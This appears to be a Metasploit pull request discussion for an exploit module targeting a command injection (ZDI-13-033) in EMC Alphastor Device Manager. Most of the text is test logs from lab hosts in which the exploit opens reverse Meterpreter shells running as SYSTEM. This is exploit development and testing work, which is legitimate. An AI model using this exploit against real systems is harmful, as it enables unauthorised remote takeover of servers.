Module for ZDI-13-033 Alphastor Command Injection

I've been working in one of the modules submitted on #3686, the one I think is more reliable because is a command injection vulnerability, not a memory corruption. Since the author has not answered to the last comments, I'm trying to help. I really wold like to see this target covered on metasploit.

Originally the module for ZDI-13-033 was submitted as Auxiliary module, this pull request converts it to an exploit module and submits it as a single pull request.

I'm also submitting a pull request to #3686 to delete the auxiliary module, since the vulnerability will be covered by this exploit.

I've tested the module on EMC Alphastor 4.0 with Win 2003 SP2 and Win 2008 R2 successfully.

@kernelsmith: would you like to test the module? If you get some time and could verify it would be supper appreciated! (no rush!)

@inkrypto, as original module author, would you like to review / check /comment / test? Also if you feel more comfortable, feel free to get the changes in this pull request and make your own pull request :) no problem at all on my side. I would close this one!

* Win 2008:

```
msf exploit(alphastor_device_manager_exec) > check
[*] 172.16.158.242:3000 - The target service is running, but could not be validated.
msf exploit(alphastor_device_manager_exec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
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[*] Sending stage (769536 bytes) to 172.16.158.242
[*] Meterpreter session 3 opened (172.16.158.1:4444 -> 172.16.158.242:53031) at 2014-09-05 14:28:34 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-E894ZNSQ0CT
OS              : Windows 2008 (Build 6002, Service Pack 2).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter >
```

* Win 2003 sp2

```
msf exploit(alphastor_device_manager_exec) > check
[*] 172.16.158.234:3000 - The target service is running, but could not be validated.
msf exploit(alphastor_device_manager_exec) > rexploit
[*] Reloading module...

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[*] Sending stage (769536 bytes) to 172.16.158.234
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[*] Meterpreter session 4 opened (172.16.158.1:4444 -> 172.16.158.234:4272) at 2014-09-05 14:46:31 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : JUAN-6ED9DB6CA8
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 172.16.158.234 - Meterpreter session 4 closed.  Reason: User exit
```
> cleanup (after fail_with) will disconnect

cleanup in exploit.rb?